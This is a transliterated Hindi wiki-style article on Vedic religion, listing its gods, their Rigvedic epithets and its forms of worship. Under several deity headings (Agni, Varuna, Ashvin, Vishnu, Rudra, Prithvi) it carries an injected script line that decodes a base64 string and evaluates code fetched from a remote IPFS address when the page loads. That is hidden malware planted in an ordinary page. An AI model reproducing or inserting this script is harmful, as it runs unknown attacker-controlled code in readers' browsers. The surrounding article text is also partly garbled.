वैदिक धर्म
vaidik dharm
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| vivaran | 'vaidik dharm' vaidik sabhyata ka mool dharm tha. yah hazaroan varshoan se bharatiy upamahadvip aur madhy eshiya mean chala raha hai. adhunik 'sanatan dharm' ya hindoo dharm isi dharmik vyavastha par adharit hai. |
| devi-devata | brahma, indr, agnidev, varun devata, som devata, ashvinikumar, pooshan, vishnu, rudr, mitr, tvashdra, vivastan, prithvi devi, aranyani adi. |
| vishvas aur darshanashastr | punarjanm, pooja, bhakti, sanskar, pitar, darshan, hindoo dharm, vedant, yog, ayurved. |
| granth | vedasanhita, vedaang, brahman granth, aranyak, upanishad, shrimadbhagavad gita, ramayan, mahabharat, sootr, puran. |
| sanbandhit lekh | hindoo dharm sanskar, yajn, shraddh |
| any janakari | vaidik dharm ke dev samooh mean sarvapradhan devata kaun tha, yah nirdharit karana kathin hai. rrigvaidik rrishiyoan ne jis samay jis devata ki stuti ki, use hi sarvochch manakar usamean sampoorn gunoan ka aropan kar diya. |
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vaidik dharm karm par adharit tha. yah dharm poornatah pratimargi hai. vaidik devataoan mean purush bhav ki pradhanata hai. adhikaansh devataoan ki aradhana manav ke roop mean ki jati thi, kintu kuchh devataoan ki aradhana pashu ke roop mean bhi ki jati thi. 'aj ekapad' aur 'ahitarbudhny' donoan devataoan ki parikalpana pashu ke roop mean ki gee hai. marutoan ki mata ki parikalpana 'chitakabari gay' ke roop mean ki gee hai. indr ki gay khojane vala 'sarama' (kutiya) shvan ke roop mean hai. isake atirikt indr ki kalpana 'vrishabh' (bail) ke roop mean evan soory ki 'ashv' ke roop mean ki gee hai. rrigved mean pashuoan ki pooja ka prachalan nahian tha. rrigvaidik devataoan mean kisi prakar ka uanch-nich ka bhedabhav nahian tha. vaidik rrishiyoan ne sabhi devataoan ki mahima gaee hai. rrigvaidik logoan ne prakritik shaktiyoan ka 'manavikaran' kiya hai. is samay 'bahudevavad' ka prachalan tha. rrigvaidik aryo ki devamandali tin bhagoan mean vibhajit thi-
- akash ke devata - soory, dyaus, varun, mitr, pooshan, vishnu, usha, apaannapat, savita, trip, vianvasvat, adiantyagag, ashvinadvay adi.
- antariksh ke devata - indr, marut, rudr, vayu, parjany, matarishvanh, triprapty, aj ekapad, ap, ahirbughny.
- prithvi ke devata- agni, som, prithvi, brihaspati, tatha nadiyaan.
is dev samooh mean sarvapradhan devata kaun tha, yah nirdharit karana kathin hai. rrigvaidik rrishiyoan ne jis samay jis devata ki stuti ki use hi sarvochch manakar usamean sampoorn gunoan ka aropan kar diya. maiksamoolar ne is pravritti ki 'hinathijm' kaha hai. sooktoan ki sankhya ki drishti yah manana nyayasangat hoga ki inaka sarvapradhan devata indr tha.
indr
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- rrigved mean antariksh sthaniy 'indr' ka varnan sarvadhik pratapi devata ke roop mean kiya gaya hai.
- rrigved ke qarib 250 sooktoan mean inaka varnan hai.
- indr ko varsha ka devata mana jata tha. unhoanne vriksh rakshas ko mara tha isilie unhean 'vritrahan' kaha jata hai.
- anek kiloan ko nasht kar diya tha, is roop mean ve 'purandar' kahe jate haian.
- indr ne vritr ki hatya karake jal ka mukt karate haian isalie unhean 'purmid' kaha gaya.
- indr ke lie ek visheshan 'ansujit' (pani ko jitane vala) bhi ata hai.
- indr ke pita 'dyoans' haian, 'agni' usaka yamaj bhaee hai aur 'marut' usaka sahayogi hai.
- vishnu ne vritr ke vadh mean indr ki sahayata ki thi.
- rrigved mean indr ko samast sansar ka svami bataya gaya hai. usaka priy ayuddh 'bajr' hai isalie unhean 'bajrabahoo' bhi kaha gaya hai.
agni
[[chitr:Agni-Deva.jpg|thumb|agnidev]]
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- rrigved mean doosara mahattvapoorn devata 'agni' tha, jisaka kam tha manushy aur devata ke madhy madhyasth ki bhoomika nibhana.
- agni ke dvara hi devataoan ko ahutiyaan di jati thian.
- rrigved mean qarib 200 sooktoan mean agni ka zikr kiya gaya hai.
- ve purohitoan ke bhi devata the.
- unaka mool nivas svarg hai, kintu matarishvan (devata) n use prithvi par laya.
- prithvi par yajn vedi mean agni ki sthapana bhriguoan evan aangirasoan ne ki. is kary ke karan unhean 'atharvan' kaha gaya hai.
- vah pratyek ghar mean prajvalit hoti thi is karan use pratyek ghar ka atithi mana gaya hai. isaki any upadhiyaan 'jatadevas' (char-achar ka jnat hone ke karan), 'bhuvanachakshu' (sarvadrashta hone ke karan), 'hiranyadant' (surahare daanv vala) atharvaved mean ise pratah kal uchit hone vala mitr aur saanyakal ko varun kaha gaya hai.
varun
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- tisara sthan 'varun' ka mana jata hai, jise samudr ka devata, vishv ke niyamak aur shasak saty ka pratik, rritu parivartan evan din-rat ka karta-dharta, akash, prithvi evan soory ka nirmata ke roop mean jana jata hai.
- rrigved mean varun ko vayu ka saans kaha gaya hai.
- varun dev lok mean sabhi sitaroan ka marg nirdharit karate haian.
- inhean asur bhi kaha jata haian. inaki stuti lagabhag 30 sooktiyoan mean ki gayi hai.
- devataoan ke tin vargo (prithvi sthan, vayu sthan aur akash sthan) mean varun ka sarvochch sthan hai.
- varun devata devataoan ke devata hai.
- rrigved ka 7 vaan mandal varun devata ko samarpit hai.
- dand ke roop mean logoan ko 'jalodar rog' se pi dit karate the.
dyau
'dyau' (akash) ko rrigvaidikakalin devoan mean sabase prachin mana jata hai. tatpashchath prithvi bhi donoan dyava-prithvi ke nam se jane jate the. akash ko sarvashreshth devata ke roop mean tatha som ko vanaspati devata ke roop mean mana jata tha.
som devata
- rrigved ke navean mandal ke sabhi 144 sookt som devata ka samarpit hai.
- ye chandrama se sambandhit devata the.
- inaki tulana eeran mean 'hom devata' tatha yoonan mean 'dianasis' se ki gayi hai.
- 'oosha' ko pragati evan utthan ke devata ke roop mean, 'ashvin' vipattiyoan ko harane vale devata ke roop mean ullekh kiya gaya hai.
ashvin
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ashvini ek kalyanakari devata the.
- ashvini ka svaroop yugal roop mean tha.
- ashvini pooshan ke pita aur oosha ke bhaee the.
- ashvini ko 'nasaanty' bhi kaha jata hai.
- ashvini chikitsa ke devata the. apang vyakti ko kritrim pair pradan karate the. durghatanagrast nav ke yatriyoan ki raksha karate the. yuvatiyoan ke lie var ki talash karate the.
- 'pooshan' ko pashuoan ke devata ke roop mean sanbodhit kiya gaya hai.
pooshan
vishnu
[[chitr:God-Vishnu.jpg|thumb|bhagavan vishnu]]
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- vishnu tin qadam ke devata the.
- vishnu ko vishv ke sanrakshak aur palanakarta ke roop mean mana jata tha.
rudr
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- rudr ugr devata tha.
- ugr roop mean 'rudr' tatha mangalakari roop mean shiv tha.
- atharvaved mean ise 'bhoopati' 'nilodar', 'lohit prishth' tatha 'nilakanth' kaha gaya hai.
- rudr ko 'kritavas' (khal dharan karane vala) bhi kaha gaya hai.
mitr
- mitr varun devata devata se sambandhit hai.
- yah shapath evan pratijna ke devata haian.
tvashdra
- tvashdra dhatuoan ke devata haian.
- tvashdra ary-sandhi aur vivah ke devata haian.
vivastan
- rrigved mean ise devataoan ke janak kaha jata gaya.
- rrigved mean 'oosha', 'aditi', 'soorya' jaise deviyoan ka ullekh hai.
prithvi
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- yah devi thi.
- ise tin vargoan mean rakha gaya tha.
ap
- apsaraoan ke roop mean devi thi.
- aditi prithvi ke vishal svaroop ka daivikaran thi.
aranyani
- yah van devi thi. isaka pratham ullekh rrikh sanhitaoan mean milata hai.
- isake atirikt any rrigvaidik deviyoan mean vakh, ila, sarasvati, mahi, purandhi, dhishana, nisha, indrani, kuhoo, prashni adi thi.
- rrigved mean kuchh any devata bhi the. jaise - vishvadev, aryaman, tatha 'rrit' ki sankalpana mean vishvas hai.
- rrith ek prakar ki naitik vyavastha thi jisase vishv mean suvyavastha tatha pratishtha sthapit hoti hai.
- 'varun' ko 'rrith' ka sanrakshak bataya gaya hai. rrith ka palan puny tha, usake palan n n karane par varun devata dvara dandit kiye jane ka ullekh milata hai.
poojan vidhi
is samay devoan ka pooja ki pradhan vidhi thi - stuti path karana evan yajn mean bali chadhana. bali ya yajnahuti mean jau evan shak ka prayog kiya jata tha. rrigved mean bahudevavad, ekatmavad ev ekeshvaravad ka ullekh milata hai. devataoan ki bahulata evan karmakaandoan ki jatilata se thakakar kuchh samay bad rrigvaidik logoan ne devataoan ki sankhya kam karane ke lie unaka sanyuktikaran karane lage. jaise dyava-prithvi, oosha-ratri, mitra-varun adi. yahi bhavana ekeshvaravad ki or agrasar huee. is samay mandir ya moorti pooja ka koee praman nahian mila hai. rrigved ke naradiy sookt mean nirmanu brahm ka varnan prapt hota hai.
vaidik dharm ki visheshatayean
- char ashramoan ka samaj tha,
- char ashramoan ka vyaktigat jivan tha,
- yam aur niyamoan ka palan kiya jata tha,
- yajn ki pradhanata thi, indr, varun, agni, som, soory, chandr, ashvin, usha, rudr, maroot, prithvi, samudr, sarasvati aur vagdevi ki upasana-ye vaidik dharm ke pramukh stanbh haian.
- dharm ko abhyuday aur ni:shreyas ka sadhan mana jata tha.
- vaidik dharm saanpradayik sankirnata se grast n hokar sarvabhaum dharm raha hai.
- kalaantar mean upanishad-kal mean yajn aur karmakaand mean kami a gee aur tap aur jnan ka mahattv badh gaya. phir bhi dharm, arth, kam aur moksh ko vaidik dharm mean sada jivan ka lakshy mana gaya.
- rrigvaidik ary punarjanm ko manate the, is kal mean dev pooja ke sath pitripooja ka bhi ullekh milata hai.
- rrigved mean kahi bhi yajn kary sampann karane ke lie ke manushy ki bali ka zikr nahian hai.
- rrigved ke naradiy sookt mean nirgun brahm ka varnan prapt hota hai svarg ki manoram kalpana milati hai. narak ki kalpana dushkirmiyoan ke lie dandasthan ke roop mean ki gayi hai.
- rrigvaidik rrishiyoan ka jivan ke prati drishtikon poornataya ashavadi tha.
- devataoan ki stuti ka uddeshy bhautik sukhoan ki prapti tha n ki moksh ki prapti.
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sanbandhit lekh
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